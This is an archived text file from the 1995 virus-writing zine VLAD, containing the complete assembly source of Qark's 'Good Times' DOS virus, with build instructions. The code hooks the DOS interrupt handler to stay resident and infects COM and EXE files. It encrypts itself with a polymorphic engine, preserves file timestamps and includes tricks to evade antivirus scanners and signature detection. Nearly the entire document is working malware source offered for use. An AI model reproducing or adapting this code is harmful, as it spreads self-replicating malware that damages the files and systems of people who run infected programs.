home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.5_3 < prev    next >
Encoding:
Text File  |  1995-04-25  |  12.9 KB  |  481 lines

  1.  
  2. ;
  3. ;                        Good Times
  4. ;                           by 
  5. ;                        Qark [VLAD]
  6. ;
  7. ; Infects COM files between 60000 and 1024 bytes in size.  It traverses the
  8. ; file by following any jumps/calls at the immediate start, and writes a call
  9. ; to the main virus body there.
  10. ; Infects EXE files in the standard manner.  Won't infect Win EXE files,
  11. ; EXE files without FFFF in the maxmem field and EXE files that use overlays.
  12. ;
  13. ; It is polymorphic because it uses RHINCE to generate random length
  14. ; decryptors.
  15. ;
  16. ; Also...
  17. ;       The act of loading the file into a mail server's ASCII
  18. ;       buffer causes the "Good Times" mainline program to
  19. ;       initialize and execute.
  20. ;
  21. ; Remember to email all your friends, warning them about Good Times!
  22. ;
  23. ; To assemble the virus, you will require a86, and the source to RHINCE.
  24. ; The RHINCE source needs to be named 'rhince.inc' and the label 'polycode'
  25. ; must be removed from it.
  26. ;
  27.  
  28.         org     0
  29.  
  30.         mov     bp,sp
  31.  
  32.         call    next                    ;IP onto the stack
  33.  
  34. next:
  35.         mov     si,[bp-2]               ;SI=delta+offset next
  36.         sub     si,offset next          ;SI=delta
  37.         lea     ax,word ptr [si+offset next_ret]        ;AX=offset next_ret
  38.         mov     [bp-2],ax               ;We will RET to next_ret now.
  39.         ret
  40. next_ret:
  41.         cld
  42.         push    ds
  43.  
  44.         mov     ax,3d76h
  45.         int     21h
  46.         cmp     ax,763dh
  47.         je      resident
  48.  
  49.         mov     ax,ds
  50.         dec     ax
  51.         mov     ds,ax
  52.  
  53.         xor     di,di
  54.  
  55.         cmp     byte ptr [di],'Y'
  56.         jbe     resident
  57.         
  58.         sub     word ptr [di+3],(offset stack_end /16) + 1
  59.         sub     word ptr [di+12h],(offset stack_end /16) + 1
  60.         mov     ax,word ptr [di+12h]
  61.         mov     es,ax
  62.         
  63.         push    cs
  64.         pop     ds
  65.         mov     cx,offset end_virus
  66.         push    si
  67.         rep     movsb
  68.  
  69.         mov     ds,cx                   ;CX=0 from the rep movsb
  70.  
  71.         mov     si,21h*4
  72.         mov     di,offset i21
  73.         movsw
  74.         movsw
  75.         mov     word ptr [si-4],offset int21handler
  76.         mov     word ptr [si-2],es
  77.         
  78.         pop     si
  79. resident:
  80.         pop     ds
  81.  
  82.         push    ds
  83.         pop     es
  84.  
  85.         cmp     byte ptr cs:[si+offset com_exe],1
  86.         je      exe_exit
  87.         
  88.         db      0bfh                    ;MOV DI,xxxx
  89.         ret_point       dw      100h
  90.  
  91.         sub     word ptr [bp],3         ;Convert the original call.
  92.         add     si,offset old4
  93.         movsw
  94.         movsw
  95.         ret
  96.  
  97. exe_exit:
  98.         mov     ax,ds                   ;AX=DS=PSP
  99.         add     ax,10h                  ;Point to start of executable code.
  100.  
  101.         add     word ptr cs:[si+offset jump+2],ax       ;Fix CS
  102.  
  103.         ;Restore SS:SP
  104.         mov     sp,word ptr cs:[si+offset orig_sp]
  105.         add     ax,word ptr cs:[si+offset orig_ss]
  106.         mov     ss,ax
  107.  
  108.         jmp     $+2                     ;Clear prefetch.
  109.         db      0eah                    ;Far jump
  110.         jump    dd      0               ;CS:IP from EXE header.
  111.  
  112.         orig_sp dw      0
  113.         orig_ss dw      0
  114.  
  115. com_exe db      0               ;COM = 0  EXE = 1
  116.  
  117.         db      ' Good Times by Qark/VLAD '
  118.  
  119. int21handler:
  120.         push    ax
  121.         xchg    ah,al
  122.         cmp     al,3dh
  123.         je      res_test
  124.         cmp     al,43h
  125.         je      infect
  126.         cmp     al,4bh
  127.         je      infect
  128.         cmp     al,56h
  129.         je      infect
  130. pop_exit:
  131.         pop     ax
  132. jend:
  133.         db      0eah                    ;JMP orig21
  134.         i21     dd      0
  135. res_test:
  136.         cmp     ah,76h                  ;Check for our little res test.
  137.         jne     infect
  138.         inc     sp                      ;AX is on the stack.
  139.         inc     sp
  140.         iret
  141.  
  142. infect:
  143.         push    bx
  144.         push    cx
  145.         push    dx
  146.         push    si
  147.         push    di
  148.         push    bp
  149.         push    ds
  150.         push    es
  151.  
  152.         mov     si,dx
  153.         cld
  154. find_dot:
  155.         lodsb
  156.         cmp     al,'.'
  157.         jne     find_dot
  158.         lodsb                   ;Load AL with the first letter of the ext.
  159.  
  160.         ;I only check the first letter of the file name, but that doesn't
  161.         ;concern me because I check for the MZ/ZM or look for a E9 otherwise.
  162.  
  163.         cmp     al,'C'
  164.         je      ok_name
  165.         cmp     al,'E'
  166.         je      ok_name
  167.         cmp     al,'c'
  168.         je      ok_name
  169.         cmp     al,'e'
  170.         je      ok_name
  171. iipop_exit:
  172.         jmp     ipop_exit
  173. ok_name:
  174.  
  175.         ;call test_name
  176.  
  177.         mov     ax,3d02h
  178.         call    int21h
  179.         jc      iipop_exit
  180.         
  181.         xchg    bx,ax                   ;File handle into BX
  182.         
  183.         push    cs
  184.         pop     ds                      ;DS=CS
  185.         push    cs
  186.         pop     es                      ;ES=CS
  187.         
  188.         mov     ah,3fh
  189.         mov     dx,offset old4
  190.         mov     si,dx                   ;SI=Offset end_virus
  191.         mov     cx,1ch
  192.         call    int21h
  193.  
  194.         mov     ax,word ptr [si]
  195.  
  196.         or      ax,2020h                ;Convert to lowercase for anti
  197.                                         ;heuristics.
  198.         cmp     ax,'mz'
  199.         je      exe_infect
  200.         cmp     ax,'zm'
  201.         je      exe_infect
  202.  
  203.         jmp     com_infect
  204. eclose:
  205.         jmp     close_exit
  206. exe_infect:
  207.  
  208.         cmp     word ptr [si+1ah],0     ;Don't infect overlays.
  209.         jne     eclose
  210.         cmp     word ptr [si+18h],40h   ;Don't infect windows executables.
  211.         jae     eclose
  212.                                 ;If total memory isn't allocated, don't
  213.         cmp     word ptr [si+0ch],0ffffh        ;infect.
  214.         jne     eclose
  215.  
  216.         cmp     word ptr [si+12h],'BV'  ;When 'Virus Buster' generically
  217.         je      eclose                  ;restores EXE files, it leaves this
  218.                                         ;signature in the checksum, which
  219.                                         ;is handy for us because it means:
  220.                                         ;A) we don't infect the files of
  221.                                         ;a person who uses scanners, and
  222.                                         ;B) AVers can't use it as part of
  223.                                         ;a signature.
  224.  
  225.  
  226.         mov     byte ptr com_exe,1      ;Signal EXE file.
  227.  
  228.         mov     ax,word ptr [si+0eh]
  229.         mov     word ptr orig_ss,ax
  230.         mov     ax,word ptr [si+10h]
  231.         mov     word ptr orig_sp,ax     ;Saved the SS:SP
  232.  
  233.         push    si
  234.         add     si,14h
  235.         mov     di,offset jump
  236.         movsw
  237.         movsw                           ;Saved the CS:IP
  238.         pop     si
  239.         
  240.         call    lseek_end
  241.         ;File length is in DX:AX
  242.         mov     cx,16
  243.         div     cx                      ;Paragraphs.
  244.  
  245.         sub     ax,word ptr [si+8]      ;Subtract header size.
  246.  
  247.         mov     word ptr [si+14h],dx    ;IP into header
  248.         mov     word ptr [si+16h],ax    ;CS into header
  249.         push    dx
  250.         add     dx,offset stack_end
  251.  
  252.         dec     ax
  253.         mov     word ptr [si+0eh],ax    ;We'll make SS=CS-1
  254.         mov     word ptr [si+10h],dx    ;SP=IP+stack_end
  255.         and     dx,0fffeh
  256.  
  257.         pop     bp
  258.         mov     cx,offset end_virus
  259.         xor     dx,dx
  260.         push    bx
  261.         push    si
  262.         call    mut_eng
  263.         pop     si
  264.         pop     bx
  265.         
  266.         call    save_time
  267.         
  268.         mov     ah,40h
  269.         call    int21h
  270.         jc      close_exit
  271.         
  272.         call    lseek_end
  273.         ;File length into DX:AX
  274.  
  275.         mov     cx,512                  ;Page size.
  276.         div     cx
  277.  
  278.         or      dx,dx
  279.         jz      no_page_fix
  280.         inc     ax                      ;Add the last partial page.
  281. no_page_fix:
  282.         mov     word ptr [si+4],ax      ;Number of pages
  283.         mov     word ptr [si+2],dx      ;Partial page.
  284.  
  285.         call    lseek_start
  286.  
  287.         mov     word ptr [si+12h],'BV'  ;Our marker.
  288.  
  289.         mov     ah,40h                  ;Write header.
  290.         mov     dx,si
  291.         mov     cx,1ch
  292.         call    int21h
  293.  
  294.         call    restore_time
  295.  
  296. close_exit:
  297.         mov     ah,3eh
  298.         call    int21h
  299.  
  300. ipop_exit:
  301.         pop     es
  302.         pop     ds
  303.         pop     bp
  304.         pop     di
  305.         pop     si
  306.         pop     dx
  307.         pop     cx
  308.         pop     bx
  309.  
  310.         jmp     pop_exit
  311.  
  312. com_infect:
  313.  
  314.         mov     byte ptr com_exe,0      ;Signal COM infection.
  315.         mov     word ptr filepointer,0  ;Point to start of the file.
  316.         
  317. recurse_entry:
  318.  
  319.         mov     al,byte ptr [si]
  320.         
  321.         cmp     al,0e9h                 ;JMP instruction
  322.         je      chk_entry
  323.         cmp     al,0e8h                 ;CALL instruction
  324.         je      chk_entry
  325.         cmp     al,0ebh                 ;JMP 'short' instruction
  326.         jne     write_virus
  327.  
  328.         mov     al,byte ptr [si+1]
  329.         add     al,2
  330.         cbw
  331.         jmp     short smalljmp
  332. chk_entry:
  333.         mov     ax,word ptr [si+1]      ;Jump distance.
  334.         add     ax,3
  335. smalljmp:
  336.         add     ax,word ptr filepointer
  337.         mov     word ptr filepointer,ax
  338.         
  339.         push    ax
  340.  
  341.         add     ax,100h                 ;Calculate where to return stuff to.
  342.         mov     word ptr ret_point,ax
  343.  
  344.         pop     dx
  345.         mov     al,0
  346.         push    dx
  347.         call    lseek
  348.  
  349.         mov     dx,offset old4          ;Read the original bytes there.
  350.         mov     cx,4
  351.         mov     ah,3fh
  352.         call    int21h
  353.  
  354.         pop     dx
  355.         mov     al,0
  356.         call    lseek                   ;Lseek back there.
  357.  
  358.         cmp     byte ptr old4 + 3,'H'   ;Check if its already infected.
  359.         jne     recurse_entry
  360.         jmp     closejmp                ;Must be infected...
  361.  
  362. write_virus:
  363.  
  364.         call    lseek_end
  365.         or      dx,dx
  366.         jnz     close_exit
  367.         cmp     ax,60000
  368.         ja      close_exit
  369.         cmp     ax,1024
  370.         jb      close_exit
  371.  
  372.         xchg    dx,ax                   ;File size into DX
  373.  
  374.         mov     ax,word ptr filepointer ;Where the jump goes to.
  375.         add     ax,3                    ;Jumps are 3 bytes.
  376.         sub     dx,ax                   ;Calculate new jump offset.
  377.         mov     word ptr new_jump+1,dx  ;Move it.
  378.         sub     ax,3                    ;This is the physical disk position.
  379.  
  380.         mov     dx,ax
  381.         mov     al,0
  382.         call    lseek                   ;Lseek to the jump entry.
  383.  
  384.         call    save_time
  385.         
  386.         mov     cx,4                    ;Write the new jump. (a call :)
  387.         mov     dx,offset new_jump
  388.         mov     ah,40h
  389.         call    int21h
  390.         jc      closejmp
  391.         
  392.         call    lseek_end
  393.         
  394.         add     ax,100h
  395.         mov     cx,offset end_virus
  396.         mov     bp,ax
  397.         xor     dx,dx
  398.         push    bx
  399.         call    mut_eng
  400.         pop     bx
  401.  
  402.         mov     ah,40h
  403.         ;mov     cx,offset end_virus
  404.         ;xor     dx,dx
  405.         call    int21h
  406.  
  407.         call    restore_time
  408.  
  409. closejmp:        
  410.         jmp     close_exit
  411.  
  412. ;----------------------------------------
  413. int21h:                         ;Simulated int 21 call.
  414.         pushf
  415.         call    dword ptr cs:i21
  416.         ret
  417. ;----------------------------------------
  418. Lseek_End:                      ;Lseek to the end.
  419.         mov     al,2
  420.         jmp     short lsk
  421. Lseek_Start:                    ;Lseek to the start.
  422.         mov     al,0
  423. lsk:
  424.         xor     dx,dx
  425. Lseek:                          ;General Lseek.
  426.         xor     cx,cx
  427.         mov     ah,42h
  428.         call    int21h
  429.         ret
  430. ;----------------------------------------
  431. Save_Time:
  432.         push    ax
  433.         push    cx
  434.         push    dx
  435.  
  436.         mov     ax,5700h
  437.         call    int21h
  438.  
  439.         mov     word ptr time,cx
  440.         mov     word ptr date,dx
  441.  
  442.         pop     dx
  443.         pop     cx
  444.         pop     ax
  445.         ret
  446. ;----------------------------------------
  447. Restore_Time:
  448.         push    ax
  449.         push    cx
  450.         push    dx
  451.  
  452.         db      0bah            ;MOV DX,xxxx
  453.         date    dw      0
  454.  
  455.         db      0b9h            ;MOV CX,xxxx
  456.         time    dw      0
  457.  
  458.         mov     ax,5701h
  459.         call    int21h
  460.  
  461.         pop     dx
  462.         pop     cx
  463.         pop     ax
  464.         ret
  465. ;----------------------------------------
  466.  
  467.         include rhince.inc              ;Rhince's polymorphic engine.
  468.  
  469. new_jump        db      0e8h,0,0,'H'            ;Actually its a CALL.
  470. filepointer     dw      0
  471. old4    db      0cdh,20h,0,0
  472. end_virus:
  473.         db      1ch dup (0)
  474. polycode:                               ;Rhince needs this here.
  475.         db      500 dup (0)             ;Make some room for rhince.
  476.         dup_size        equ     offset end_virus
  477.         db      dup_size dup (0)
  478. stack_end:
  479.  
  480.  
  481.